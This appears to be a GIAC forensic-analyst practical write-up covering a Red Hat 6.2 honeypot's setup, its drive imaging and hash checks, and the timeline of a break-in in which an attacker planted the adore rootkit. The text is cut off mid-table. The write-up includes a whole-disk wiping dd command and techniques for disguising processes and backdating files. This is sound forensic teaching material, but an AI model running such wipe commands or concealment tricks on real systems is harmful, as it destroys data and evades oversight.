Fight crime. Unravel incidents... one byte at a time.

Interested in learning more?
Check out the list of upcoming events offering "Advanced Incident Response, Threat Hunting, and Digital Forensics (FOR508) at http://digital-forensics.sans.orghttp://digital-forensics.sans.org/events/
GIAC Certified Forensic Analyst Practical Assignment v1.0

By Keven Murphy
# Table of Contents

Part 1 -- Perform Forensic Analysis on a System

- Honeypot ................................................................. 4
  - Honeypot Setup ..................................................... 4
- Creation of the Forensics Toolkit ............................. 8
- Hardware Captured .................................................. 9
- Imaging The System ................................................ 9
  - Partition Layout* .................................................. 9
  - Obtaining The Forensic Image ................................. 9
  - MD5 Hashes ......................................................... 11
  - Ensuring Data Integrity ................................. 11
- Media Analysis of System ....................................... 11
  - Analysis Systems .............................................. 11
  - Poorman’s “Tripwire” Analysis ......................... 11
  - List of Unauthorized Files ................................. 12
  - List of SetUID and SetGID Files ....................... 13
  - Altered Startup and Shutdown Files .................... 15
  - Hidden Directories ........................................... 15
  - Sniffer Programs .............................................. 16
  - History Files .................................................... 16
- MACTime Analysis .................................................. 17
  - A partial list of the adore-0.42.tgz (ungzipped and untarred) files ............................................ 17
  - 1st System boot .................................................. 17
  - Setting up the honeypot ...................................... 17
  - Tripwire database creation .................................. 19
  - Delroute script created .................................... 19
  - Cracker in the system ...................................... 19
  - Last of the MACTime entries .......................... 22
  - System Timeline .............................................. 22
- Recovering Deleted Files ....................................... 27
- String Search .......................................................... 39
  - Keywords Found .............................................. 41
- Network Analysis ................................................... 41
  - Snort Logs ........................................................ 41
  - Remote Exploit Used ......................................... 43
  - Gathering Additional Information ..................... 43
  - IP Address Information of Attackers ................... 47
- Conclusion and Issues ............................................ 48
- Issues ................................................................. 49

Part 2 – Analyze an Unknown Binary ......................... 50

- Program Description ........................................... 50
- File Analysis Details .......................................... 52
- Running sn.dat Binary .......................................... 60
Part 1 -- Perform Forensic Analysis on a System

Honeypot

The layout of the Honeypot is pictured on the right. This is very much the same design that Mr. Stephen Holcroft describes in his whitepaper (pars. 2-3). The network consists of a Linksys cable modem connected to a system running RedHat 7.3 and using iptables for the firewall. See Appendix 1 for the iptables script used for the firewall. The firewall machine has three interfaces. One interface is connected to the cable router and the second interface is used as a side DMZ. The last interface was used to connect to the internal LAN and another firewall.

The honeypot was loaded with a default install of RedHat6.2. Beyond the default OS install, Bind 8.2.2_P5-9 was added and configured. Also, IMAP 4.7-5 and pop3 were added. The honeypot's syslog daemon was modified to send the logs to the Snort/Syslog server. The end goal was to make it look like a home user who did not have a lot of LINUX knowledge setup the system.

Honeypot Setup

The process outlined below was used to setup the honeypot.

Zero Out the hard drive
This was done to ensure that old files were not recovered as part of the forensic investigation. In order to do this, the machine was brought up under RedHat 7.3 in "Linux rescue" mode. The following commands were used to zero out the drive:

\[
\text{dd if=/dev/zero of=/dev/hda}
\]

**RedHat 6.2 Install**

RedHat 6.2 was the chosen because of its numerous security issues. The following options were used when installing the OS:

**Main Packages:**
- Gnome
- KDE
- Printer Support
- X Window System
- Mail/WWW/News Tools
- Mail/WWW/News Tools
- DOS/Windows Connectivity
- Multimedia Support
- Networked Workstation
- Dialup Workstation

**Individual Packages:**
- autofs
- rwall
- squid
- tftp
- tripwire 2.3-47

**Changes made to the OS**

- Renamed `/etc/securetty` to `/etc/securetty.orginal`
  - Renaming this file will remove the security check done when someone logs in.
- Added `ALL:ALL` to `/etc/hosts.allow`
- Renamed `/etc/rc.d/init.d/ipchains` to `/etc/rc.d/init.d/ipchains.orginial`
- Installed a new version of syslog with below modifications (Holcroft, pars. 11-12).
  - This was done just in case the attacker tried to modify syslog daemon or configuration files. It was hoped that the attacker would assume that syslogd was not running.
  - Changed the following lines in syslog.c

  **From**
  ```
  ifndef _PATH_LOGCONF
  define _PATH_LOGCONF  "/etc/syslog.conf"
  endif
  ```

  **To**
  ```
  ifndef _PATH_LOGCONF
  define _PATH_LOGCONF  "/usr/X11R6/lib/X11/fonts/Type1/coura.pfa"
  endif
  ```

  - Commented out all the lines in the new `/usr/X11R6/lib/X11/fonts/Type1/coura.pfa` (syslog.conf) file and added the following line to the file so that remote logging could happen:
syslogd was renamed to gnome-pty or rpc.yp and copied to /usr/sbin. The goal was to hide the syslogd process when doing a ps and to hide the file from prying eyes.

klogd was renamed to gnome-help or rpc.autofs and copied to /usr/sbin. The goal here was the same as syslogd.

To finish hiding the recompiled syslogd and klogd the following was done to make it appear to be part of the default install of RedHat 6.2:

```
touch -ma 0307103000 /usr/sbin/gnome-pty

```

touch -ma 0307103000 /usr/sbin/gnome-help

```
Disabled the syslog script in /etc/rc.d/init.d

```

Altered the xfs script so that it would start the new syslog by script to read:

```
case "$1" in
  start)
    echo -n "Starting X Font Server: "
buildefontlist
    rm -fr /tmp/./font-unix
    daemon xfs -droppriv -daemon -port -1
    touch /var/lock/subsys/xfs
    echo
    echo -n "Starting Gnome-PTY Server: "
daemon gnome-pty
    echo
    echo -n "Starting Gnome-help Server: "
daemon gnome-help
    echo
    ;;
  stop)
    echo -n "Shutting down X Font Server: "
    killproc xfs
    rm -f /var/lock/subsys/xfs
    echo
    echo -n "Shutting down Gnome-PTY Server: "
    killproc gnome-pty
    echo
    echo -n "Shutting down Gnome-help Server: "
    killproc gnome-help
    echo
    ;;
```

``` Removed /bin/ash
```

``` Removed /bin/ash.static
```

Making the shells record to syslog

This allowed the remote syslog server to record everything the attacker did on the honeypot (Holcroft, par. 15). The only issue with the altered shells was if the attacker found the modified syslogd daemon and disabled it, it would also disable
the shells from sending anything to the remote syslog server. A copy of the network traffic was still being recorded by the ethereal on another machine.

- Installed bash 2.05a with the patch available at: http://www.ccitt5.net/archives/bash-bofh-2.05a-0.0.1.tar.gz
- Installed tcsh 6.11 with the patch available at: http://www.ccitt5.net/archives/tcsh-bofh-6.11-0.0.1.tar.gz
- Replaced the old bash and tcsh shells the new modified bash and tcsh shells under the /bin directory
- ln -s /bin/bash /bin/bsh
- Needed to make both shells appear to be part of the default install. The following was used to change the times on the files:
  - touch -ma 0307103000 /bin/tcsh
  - touch -ma 0307103000 /bin/bash

- Installed Tripwire 2.3-47 (freeware version)
  This is used to help facilitate finding changes on the systems after the honeypot was taken off the network.
  - NFS mounted a drive under /root/games
  - Changes to install.cfg file. These changes were felt necessary so that an attacker could not change the policy files nor the database files.
    - # Tripwire policy files are stored in TWPOLICY.
    - TWPOLICY="/root/games/etc/tripwire"
    - # Tripwire database files are stored in TWDB.
      - TWDB="/root/games/tripwire"

- Installed Tripwire
- ln -s /root/games/tripwire/etc /etc/tripwire
- ln -s /root/games/tripwire/var /var/tripwire
- Created the initial version of the tripwire database
- Unmounted /root/games to make sure that it did not get corrupted once the database creation was done.

A system with RedHat 7.3 installed was used as a syslog server and also as an internal IDS running Snort. It was assumed that the blackhat would alter the logs and possibly do something with the syslog daemon on the honeypot. Snort was used to monitor the network when the honeypot was being hit by scans and exploits. Also, another machine running ethereal and the network card set to 0.0.0.0 for the IP address recorded everything that happened on the internal network. The IP address 0.0.0.0 made the machine nearly invisible and made it almost impossible to attack.

The honeypot was only turned on when it could be watched. This was to ensure that the honeypot was not used for scanning, DOSes, and other malicious behavior. Once, the honeypot was exploited, the honeypot was watched closely to ensure it was not used maliciously against other machines on the internet. The blackhat was given a couple of hours to do what he or she wanted with the system. When the time was up, the firewall as re-configured to block all the incoming and outgoing traffic and system was unplugged.
from the firewall. Below is a picture of the finished honeypot network.

Creation of the Forensics Toolkit

It was determined that to know precisely how the binaries were compiled, a forensics toolkit had to be created. Using several existing LINUX distributions that say they are statically compiled was possible. However, rather than going through them binary by binary, it seemed easier to create the toolkit with the appropriate layout. Gideon Lenkey's guide to “Building A Jump Kit” was helpful and can be downloaded at [http://www.infotec.h-nj.com/papers/JumpKit_HOWTO.txt](http://www.infotec.h-nj.com/papers/JumpKit_HOWTO.txt).

All of the tools, listed in Appendix 15, were downloaded, ungzipped, and untared. For every tool, `./configure --prefix=/toolkit` was run. Once that was completed, the Makefile was edited with vi. Under LDFLAG option in the Makefile, -static was added (par. 11). When -static is added to the Linker Flag directive, it will create a static binary. Then a make was issued to compile the binary. After that had completed, a make install was used to install the binary and whatever else into the toolkit directory.

Once all the tools had been compiled, a script was run on the bin directory under /toolkit. The script would issue a ldd on each binary and send the output to a log file, along with stripping the binary. The reason for this was to reduce the size of the binary (par. 18). The binary may end up being stored on a floppy disk, and more tools can fit on a floppy disk if all of the tools have been stripped. The script used is in Appendix 2.
Lastly, the entire toolkit is copied to a CDR.

**Hardware Captured**

<table>
<thead>
<tr>
<th>Case #</th>
<th>Tag #</th>
<th>Model Number</th>
<th>Serial Number</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 1</td>
<td>EN series 6226/3.2 DOM</td>
<td>6821BWZ4Q603</td>
<td>Compaq Deskpro EN Series P266/66 Computer System with a Maxtor 3.2 GB Hard drive (Tag # 2), internal 3.2 HDD 33/54 US (Floppy Drive), ATI RPRO 1X NLX 4 US (Video Card), NC3121 10/100 US (PCI Network Card)</td>
<td></td>
</tr>
<tr>
<td>1 2</td>
<td>83249D3</td>
<td>216A6010NGFQV8</td>
<td>Maxtor hard drive 3.2 GB</td>
<td></td>
</tr>
<tr>
<td>1 3</td>
<td>166516-006</td>
<td>B13990E39G48SL</td>
<td>Compaq keyboard</td>
<td></td>
</tr>
<tr>
<td>1 4</td>
<td>30-46117-02</td>
<td>LZ71752492</td>
<td>Digital mouse</td>
<td></td>
</tr>
<tr>
<td>1 5</td>
<td>HP dvd+r</td>
<td>C401RP205193118 B091</td>
<td>DVD of honeypot images</td>
<td></td>
</tr>
<tr>
<td>1 6</td>
<td>Imataion CD-R 700MB/80 min.</td>
<td>LH3103FL1034100 D5</td>
<td>CDR copy of honeypot images</td>
<td></td>
</tr>
</tbody>
</table>

**Imaging The System**

**Partition Layout***

<table>
<thead>
<tr>
<th>Device</th>
<th>Boot</th>
<th>Start</th>
<th>End</th>
<th>Blocks</th>
<th>System</th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/hde1</td>
<td>*</td>
<td>1</td>
<td>718</td>
<td>2894944</td>
<td>ext2</td>
</tr>
<tr>
<td>/dev/hde2</td>
<td>719</td>
<td>784</td>
<td>266112</td>
<td>extended</td>
<td></td>
</tr>
<tr>
<td>/dev/hde5</td>
<td>719</td>
<td>784</td>
<td>266080</td>
<td>swap</td>
<td></td>
</tr>
</tbody>
</table>

* The partition layout was obtained and recorded during the honeypot setup.

Above is the partition layout of the honeypot. This was recorded for use during the forensic audit. Primary it was used during the creation of the forensic images.

**Obtaining The Forensic Image**

It was decided that getting an image while the system was up and running would be the best approach. Also, the honeypot did not need to be left connected to the Internet, so that the attacker could come back to the honeypot. Appendix 8 contains the outlined procedure that would be used to do a forensics analysis on a live system.

Unfortunately, while the machine was being cracked, the power went out. The honeypot, syslog server, network sniffers, and firewall were not on a UPS. According to
the logs on the firewall, the cracker had spent a few minutes on the system and then logged out. After several seconds a new connection appeared from the cracker. About a minute later the attacker tries to get back into the system with his or her remote exploit. It was during that time the power went out due to a severe thunderstorm. Thus the live system forensics was not used and the drive was pulled for a drive image analysis. The following steps were followed to obtain drive images on another LINUX system:

1) The machine was booted up into the CMOS settings. In the CMOS it was ensured that the boot drive would be the root filesystem for the internal hard drive, not the honeypot drive. Once it was verified that was the case, the CMOS was exited and the machine was shutdown.
2) The drive was installed into the removable drive bay in another LINUX system as a slave on the second IDE controller.
3) The machine was booted up without the honeypot drive being mounted into LINUX.
4) Using the dmesg command to find which device the honeypot drive would be accessed, i.e., /dev/hde.
5) Created the image files:
   1. dd if=/dev/hde1 of=/data/honeypot_hde1_dd.img
   2. dd if=/dev/hde2 of=/data/honeypot_hde2_dd.img
   3. dd if=/dev/hde5 of=/data/honeypot_hde5_dd.img
6) Once the drive images were created, a md5sum was done on every file and saved to a file called honeypot_md5sums:
   1. md5sum /data/honeypot_hde1_dd.img
   2. md5sum /data/honeypot_hde2_dd.img
   3. md5sum /data/honeypot_hde5_dd.img
7) Another md5sum was done on each partition of the honeypot hard drive and saved to a file called honeypot_actual_drive_md5sums.
8) The md5sums files were compared and found that each of the partition md5 hashes matched.
9) A DVD+R was created containing all of the honeypot drive images and the md5sums files. This DVD was used for the forensics analysis.
10) A copy of the honeypot_hde1_dd.img was made and the md5sum compared with the original.
11) The copy of the honeypot_hde1_dd.img was gzipped.
12) The following files were burned a CDR for a second read-only copy:
   1. honeypot_hde1_dd.img.gz
   2. honeypot_hde2_dd.img
   3. honeypot_hde5_dd.img
   4. md5sums_honeypot
13) Once both the DVD+R and the CDR was done burning the MD5 hashes were compared with the MD5 hashes of the honeypot partitions.
14) All of the above items were entered into the media checkout log (see appendix 3) and for each item it was recorded when the item was checked out.
MD5 Hashes

MD5 Hashes of Honeypot Hard Drive

<table>
<thead>
<tr>
<th>Md5 Hash</th>
<th>Drive Partition</th>
</tr>
</thead>
<tbody>
<tr>
<td>b3b1677b70444db3ad5c177726554441</td>
<td>/dev/hde1</td>
</tr>
<tr>
<td>de937dcd2c6b2f6420e2a686fed2457e</td>
<td>/dev/hde2</td>
</tr>
<tr>
<td>cb38335dc2d7b525334dbcef766b7939</td>
<td>/dev/hde5</td>
</tr>
</tbody>
</table>

MD5 Hashes of Forensic Images

<table>
<thead>
<tr>
<th>Md5 Hash</th>
<th>DD Image File</th>
</tr>
</thead>
<tbody>
<tr>
<td>b3b1677b70444db3ad5c177726554441</td>
<td>honeypot_hde1.img</td>
</tr>
<tr>
<td>de937dcd2c6b2f6420e2a686fed2457e</td>
<td>honeypot_hde2.img</td>
</tr>
<tr>
<td>cb38335dc2d7b525334dbcef766b7939</td>
<td>honeypot_hde5.img</td>
</tr>
</tbody>
</table>

Ensuring Data Integrity

To ensure that the hard drive was not altered during the forensic process, the DVD+R was used during the process. By using the DVD+R in a regular DVD drive, the partition images cannot be altered unless the DVD goes bad. Periodically, the MD5 hashes for each partition were checked. When the MD5 hash failed on the DVD, another DVD+R would be created using the images stored on the CDROM.

Media Analysis of System

Analysis Systems

<table>
<thead>
<tr>
<th>Primary Analysis System</th>
<th>Secondary Analysis System</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sony Vaio PCG-FX300</td>
<td>AMD Athlon 1.2 GHz processor</td>
</tr>
<tr>
<td>Pentium III 1 GHz</td>
<td>1.5 gig of ram</td>
</tr>
<tr>
<td>512 megs of ram</td>
<td>40 gig hard drive</td>
</tr>
<tr>
<td>40 gig hard drive</td>
<td>OS: RedHat 7.3 LINUX Windows XP Pro</td>
</tr>
<tr>
<td>OS: RedHat 7.3 LINUX</td>
<td>Windows 2000</td>
</tr>
</tbody>
</table>

Poorman's “Tripwire” Analysis

Since another drive of the same type was not available, it was decided that booting up the honeypot root drive to do a tripwire analysis and a rpm analysis would alter the filesystem too much. Another method to detect whether the files have been altered with the same characteristics as tripwire had to be sought. The best way to accomplish this was to create a file database of md5 hashes of a clean system. In this case RedHat 6.2 with everything installed would do the job. Then create another md5 hash database of the honeypot system. Finally, both databases are then compared. Appendix 6 contains both scripts used.
The Perl script called md5-compare.pl takes a “clean system” md5 hash flat text file database and compares it with another “dirty system” md5 hash flat text file database. It produces a file, called dirty_outfile, that contains a list of filenames and md5 hashes that do match the “clean systems” md5 hashes and those that failed or were not found. A sample output of the dirty_outfile is below:

| OK -- Dirty System:/bin/aumix-minimal MATCHES Clean System: /bin/aumix-minimal |
|---------------------------------|---------------------------------|
| Dirty MD5: d53c7a48ff8eeef8ba6d1623d7a4608d | Clean MD5: d53c7a48ff8eeef8ba6d1623d7a4608d |

| OK -- Dirty System:/bin/basename MATCHES Clean System: /bin/basename |
|---------------------------------|---------------------------------|
| Dirty MD5: a1ed9b75c6481f7a612b54639b87cf64 | Clean MD5: a1ed9b75c6481f7a612b54639b87cf64 |

| FAILED -- Dirty System:/bin/bash DOES NOT MATCH Clean System: /bin/bash |
|---------------------------------|---------------------------------|
| Dirty MD5: e49e46bdfa1c77bebb1b334596a93b5e | Clean MD5: 31414a55daeb5d3765e3b1b610a282f |

Another log file is created containing those files did not match in md5 hashes and that are on the “dirty system” but not found on the “clean system.” An example of this log, named dirty_outfile.md5, is below.

```
/bin/bash:31414aa55daeb5d3765e3b1b610a282f:/bin/bash:
e49e46bdfa1c77bebb1b334596a93b5e
/bin/tcsh:21e38eb4a9e0ae4af6691b9ba8bb245a:/bin/tcsh:
e76df44bd90aaafa6ec73dca785a9c8c
::/boot/boot.0300:8863c288ed733bd01635e03a30511910
```

The last output file of interest that the script produced is a “not found” log of those files that are on the “clean system” but not found on the “dirty system.” As before, a small example of the not found log (dirty_outfile.nf) is below.

```
/var/log/bindrestart.log:a1f92c5aa108d9661ff1e9ef2648c8b5d
/var/run/named.pid:d92b43f02e5ea103c2a3a8ee0d487cfa
/var/spool/cron/root:7cd0b58f83d87a1317bca52c623054df
/var/spool/mail/root:e4943fde3038534637f9a0ce0e51
```

List of Unauthorized Files

Below is a list of files added to the honeypot by the cracker that were found when running the poorman’s “tripwire” scripts.

<table>
<thead>
<tr>
<th>Filename and Path</th>
<th>MD5 Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>/usr/lib/adore-0.42.tgz</td>
<td>156ded13d5e16b84a9e31193bc9bc417</td>
</tr>
<tr>
<td>/usr/lib/adore/adore.c</td>
<td>4ae10ff0d24d3038d555bced068e4db5b</td>
</tr>
<tr>
<td>/usr/lib/adore/adore.h</td>
<td>b3b405ae9d97d68234208cda2f4a195b</td>
</tr>
<tr>
<td>/usr/lib/adore/adore.o</td>
<td>a027806447c9a9fc70f3392558a42d27</td>
</tr>
</tbody>
</table>
List of SetUID and SetGID Files

Below is a list of SetUID and SetGID files found on the honeypot drive that were all system related files. The script in Appendix 7 was used to generate this list.

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Size</th>
<th>Filename</th>
</tr>
</thead>
<tbody>
<tr>
<td>2/2/2000</td>
<td>15:38:56</td>
<td>524</td>
<td>/usr/bin/sperl5.00503</td>
</tr>
<tr>
<td>2/2/2000</td>
<td>15:38:56</td>
<td>524</td>
<td>/usr/bin/suidperl</td>
</tr>
<tr>
<td>2/3/2000</td>
<td>9:14:12</td>
<td>28</td>
<td>/bin/umount</td>
</tr>
<tr>
<td>2/3/2000</td>
<td>9:14:12</td>
<td>60</td>
<td>/bin/umount</td>
</tr>
<tr>
<td>2/3/2000</td>
<td>13:33:34</td>
<td>24</td>
<td>/usr/bin/crontab</td>
</tr>
<tr>
<td>2/7/2000</td>
<td>14:02:30</td>
<td>20</td>
<td>/usr/sbin/traceroute</td>
</tr>
<tr>
<td>2/7/2000</td>
<td>15:51:32</td>
<td>12</td>
<td>/usr/bin/lockfile</td>
</tr>
<tr>
<td>2/7/2000</td>
<td>15:51:32</td>
<td>80</td>
<td>/usr/bin/procmail</td>
</tr>
<tr>
<td>2/7/2000</td>
<td>17:20:39</td>
<td>12</td>
<td>/usr/bin/passwd</td>
</tr>
<tr>
<td>2/10/2000</td>
<td>11:09:13</td>
<td>236</td>
<td>/usr/bin/gtali</td>
</tr>
<tr>
<td>2/10/2000</td>
<td>11:09:13</td>
<td>24</td>
<td>/usr/bin/glines</td>
</tr>
<tr>
<td>2/10/2000</td>
<td>11:09:13</td>
<td>24</td>
<td>/usr/bin/gturing</td>
</tr>
<tr>
<td>2/10/2000</td>
<td>11:09:13</td>
<td>24</td>
<td>/usr/bin/same-gnome</td>
</tr>
<tr>
<td>2/10/2000</td>
<td>11:09:13</td>
<td>28</td>
<td>/usr/bin/gnotravex</td>
</tr>
<tr>
<td>2/10/2000</td>
<td>11:09:13</td>
<td>48</td>
<td>/usr/bin/iagno</td>
</tr>
<tr>
<td>Date</td>
<td>Time</td>
<td>Size</td>
<td>Filename</td>
</tr>
<tr>
<td>--------</td>
<td>---------</td>
<td>------</td>
<td>----------------------------------------------</td>
</tr>
<tr>
<td>2/10/2000</td>
<td>11:09:13</td>
<td>48</td>
<td>/usr/bin/mahjongg</td>
</tr>
<tr>
<td>2/10/2000</td>
<td>11:09:13</td>
<td>56</td>
<td>/usr/bin/gnome-stones</td>
</tr>
<tr>
<td>2/10/2000</td>
<td>11:09:13</td>
<td>72</td>
<td>/usr/bin/gnibbles</td>
</tr>
<tr>
<td>2/10/2000</td>
<td>11:09:13</td>
<td>76</td>
<td>/usr/bin/gnomine</td>
</tr>
<tr>
<td>2/10/2000</td>
<td>11:09:13</td>
<td>80</td>
<td>/usr/bin/gnobots2</td>
</tr>
<tr>
<td>2/10/2000</td>
<td>11:09:14</td>
<td>40</td>
<td>/usr/bin/gataxx</td>
</tr>
<tr>
<td>2/14/2000</td>
<td>14:13:39</td>
<td>20</td>
<td>/usr/bin/lpq</td>
</tr>
<tr>
<td>2/14/2000</td>
<td>14:13:40</td>
<td>20</td>
<td>/usr/bin/lpr</td>
</tr>
<tr>
<td>2/14/2000</td>
<td>14:13:40</td>
<td>20</td>
<td>/usr/bin/lprm</td>
</tr>
<tr>
<td>2/16/2000</td>
<td>11:03:09</td>
<td>36</td>
<td>/usr/bin/chage</td>
</tr>
<tr>
<td>2/16/2000</td>
<td>11:03:10</td>
<td>36</td>
<td>/usr/bin/gpasswd</td>
</tr>
<tr>
<td>2/17/2000</td>
<td>17:51:22</td>
<td>320</td>
<td>/usr/sbin/sendmail</td>
</tr>
<tr>
<td>2/29/2000</td>
<td>19:03:36</td>
<td>36</td>
<td>/usr/bin/man</td>
</tr>
<tr>
<td>3/1/2000</td>
<td>14:48:07</td>
<td>36</td>
<td>/usr/bin/at</td>
</tr>
<tr>
<td>3/2/2000</td>
<td>13:08:10</td>
<td>76</td>
<td>/usr/bin/inews</td>
</tr>
<tr>
<td>3/6/2000</td>
<td>9:57:55</td>
<td>20</td>
<td>/bin/ping</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>5:29:43</td>
<td>12</td>
<td>/usr/bin/write</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>5:29:44</td>
<td>16</td>
<td>/usr/bin/chfn</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>5:29:44</td>
<td>16</td>
<td>/usr/bin/chsh</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>5:29:44</td>
<td>8</td>
<td>/usr/bin/newgrp</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>5:33:09</td>
<td>12</td>
<td>/usr/bin/rlogin</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>5:33:09</td>
<td>16</td>
<td>/usr/bin/rcp</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>5:33:09</td>
<td>8</td>
<td>/usr/bin/rsh</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>5:39:29</td>
<td>104</td>
<td>/usr/bin/uustat</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>5:39:29</td>
<td>40</td>
<td>/usr/bin/uuname</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>5:39:29</td>
<td>96</td>
<td>/usr/bin/uucp</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>5:39:29</td>
<td>96</td>
<td>/usr/bin/uux</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>5:43:29</td>
<td>8</td>
<td>/usr/bin/wall</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>6:12:38</td>
<td>172</td>
<td>/usr/bin/minicom</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>6:15:34</td>
<td>16</td>
<td>/bin/su</td>
</tr>
<tr>
<td>3/7/2000</td>
<td>20:34:05</td>
<td>20</td>
<td>/usr/sbin/userhelper</td>
</tr>
<tr>
<td>3/8/2000</td>
<td>11:26:00</td>
<td>4</td>
<td>/sbin/netreport</td>
</tr>
</tbody>
</table>
This list was compared with the md5 database of a clean system to ensure that none of them have been modified. The above list was pulled out of the findstuff script's output and the date, time, and size was stripped off with the cut -d" " -f4 setuid.log.

Then the setuid.log file was used to search the dirty_outfile. The script below was used to accomplish this task.

```bash
#!/bin/bash

for filelist in `cat setuid.log`; do
    echo "Searching for $filelist" | tee -a setuid.out
    grep $filelist dirty_outfile | tee -a setuid.out
    echo | tee -a setuid.out
    echo | tee -a setuid.out
done
```

The output from this script was reviewed to see if any of the setUID and setGID files had failed on the md5 comparisons between the clean and dirty systems. None of the setUID or setGID files came back as failed.

Altered Startup and Shutdown Files

The output from the “tripwire” analysis was used to ensure that none of the startup or shutdown files were altered by the cracker. The following line was typed in:

```
grep init ./dirty_outfile > initdirty
```

The initdirty file was reviewed. If a file under the init directory received a FAILED error, it was reviewed to see whether it was altered by the researcher during the honeypot setup process. None of the files were altered by the cracker.

Hidden Directories

Below is a list of hidden directories that was found on the honeypot filesystem. All of the directories were normal compared with the clean system. The directory contents were normal also. The findstuff script in Appendix 7 was used to generate this list.

<table>
<thead>
<tr>
<th>Date</th>
<th>Last Modification Time</th>
<th>Directory</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sat 17 Aug 2002</td>
<td>03:31:41 PM EDT</td>
<td>/tmp/.gnome</td>
</tr>
<tr>
<td>Sat 17 Aug 2002</td>
<td>03:31:41 PM EDT</td>
<td>/tmp/.gnome_private</td>
</tr>
<tr>
<td>Sat 17 Aug 2002</td>
<td>10:02:42 PM EDT</td>
<td>/tmp/.font-unix</td>
</tr>
<tr>
<td>Sat 17 Aug 2002</td>
<td>10:02:47 PM EDT</td>
<td>/tmp/.X11-unix</td>
</tr>
<tr>
<td>Sat 17 Aug 2002</td>
<td>07:46:07 PM EDT</td>
<td>/tmp/.ICE-unix</td>
</tr>
<tr>
<td>Sat 17 Aug 2002</td>
<td>03:28:35 PM EDT</td>
<td>/usr/share/control-center/.data</td>
</tr>
<tr>
<td>Sat 17 Aug 2002</td>
<td>03:34:09 PM EDT</td>
<td>/etc/skel/.kde</td>
</tr>
</tbody>
</table>
Sniffer Programs

The dirty_outfile.md5 log file, which contains a list of failed matches and not found files, was used to search for sniffer programs. The following command line was used to get a list of filenames:

```
cut -d: -f3 dirty_outfile.md5 > flsniff.out
```

The flsniff.out file is then used in the following script:

```
#!/bin/bash

for filelist in `cat ./d`; do
    echo "Searching for $filelist" | tee -a filesearch.out
    file /mnt/hp$filelist | tee -a filesearch.out
    echo | tee -a filesearch.out
    echo | tee -a filesearch.out
done
```

Then the filesearch.out file was grepped for ELF, which would indicate a binary file. The output was saved to another file called elf.out and contains a listing of eleven files. Elf.out was reviewed with the MAC time analysis during the time the cracker was in the honeypot. However none of the files listed showed up in the MAC analysis when the cracker was on the system except a file called adore.o. Each file was searched for by hand in the dirty_outfile to see why they failed the md5sum. Ten out eleven files were altered or added to the system during the honeypot setup process. The eleventh file was adore.o. That file was created when the cracker compiled the rootkit. With all of the files accounted for, it was determined that no network sniffers were installed on the honeypot by the cracker.

History Files

The history files for both user accounts, root and jsmith, were checked for anomalous activity. Since jsmith had not been logged into, a history file was unavailable. The history file for root only contained commands entered during setup of the honeypot.
MACTime Analysis

Below are some of the highlights from the MACTime analysis. The main emphasis is on what the cracker did during the time frame he or she was on the system. Some of the other MACTimes are of the honeypot being set up. The other MACTimes listed are of events such as the 1st system boot and the last MACTime on the system.

A partial list of the adore-0.42.tgz (ungzipped and untarred) files

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Size</th>
<th>User</th>
<th>Group</th>
<th>Mode</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jun 25</td>
<td>00:15</td>
<td>1660</td>
<td>jsmith</td>
<td>jsmith</td>
<td>m..</td>
<td>/usr/lib/adore/LICENSE</td>
</tr>
<tr>
<td>Sep 19</td>
<td>00:09</td>
<td>1904</td>
<td>jsmith</td>
<td>jsmith</td>
<td>m..</td>
<td>/usr/lib/adore/dummy.c</td>
</tr>
<tr>
<td>Dec 23</td>
<td>00:10</td>
<td>1979</td>
<td>jsmith</td>
<td>jsmith</td>
<td>m..</td>
<td>/usr/lib/adore/libinvisible.h</td>
</tr>
<tr>
<td>Feb 26</td>
<td>00:10</td>
<td>4212</td>
<td>jsmith</td>
<td>jsmith</td>
<td>m..</td>
<td>/usr/lib/adore/cleaner.c</td>
</tr>
<tr>
<td>Mar 21</td>
<td>01:12</td>
<td>193</td>
<td>jsmith</td>
<td>jsmith</td>
<td>m..</td>
<td>/usr/lib/adore/startadore</td>
</tr>
<tr>
<td>May 13</td>
<td>01:12</td>
<td>3417</td>
<td>jsmith</td>
<td>jsmith</td>
<td>m..</td>
<td>/usr/lib/adore/libinvisible.c</td>
</tr>
<tr>
<td>May 15</td>
<td>01:08</td>
<td>3164</td>
<td>jsmith</td>
<td>jsmith</td>
<td>m..</td>
<td>/usr/lib/adore/README</td>
</tr>
<tr>
<td>May 15</td>
<td>01:08</td>
<td>23665</td>
<td>jsmith</td>
<td>jsmith</td>
<td>m..</td>
<td>/usr/lib/adore/adore.c</td>
</tr>
<tr>
<td>Jun 01</td>
<td>01:09</td>
<td>52</td>
<td>jsmith</td>
<td>jsmith</td>
<td>m..</td>
<td>/usr/lib/adore/TODO</td>
</tr>
<tr>
<td>Dec 05</td>
<td>01:14</td>
<td>2796</td>
<td>jsmith</td>
<td>jsmith</td>
<td>m..</td>
<td>/usr/lib/adore/adore.h</td>
</tr>
<tr>
<td>Jan 03</td>
<td>02:09</td>
<td>23665</td>
<td>jsmith</td>
<td>jsmith</td>
<td>m..</td>
<td>/usr/lib/adore/adore.c</td>
</tr>
<tr>
<td>Jan 03</td>
<td>02:09</td>
<td>1275</td>
<td>jsmith</td>
<td>jsmith</td>
<td>m..</td>
<td>/usr/lib/adore/Changelog</td>
</tr>
<tr>
<td>Jan 03</td>
<td>02:09</td>
<td>728</td>
<td>jsmith</td>
<td>jsmith</td>
<td>m..</td>
<td>/etc/passwd</td>
</tr>
<tr>
<td>Aug 17</td>
<td>02:15</td>
<td>14749</td>
<td>root</td>
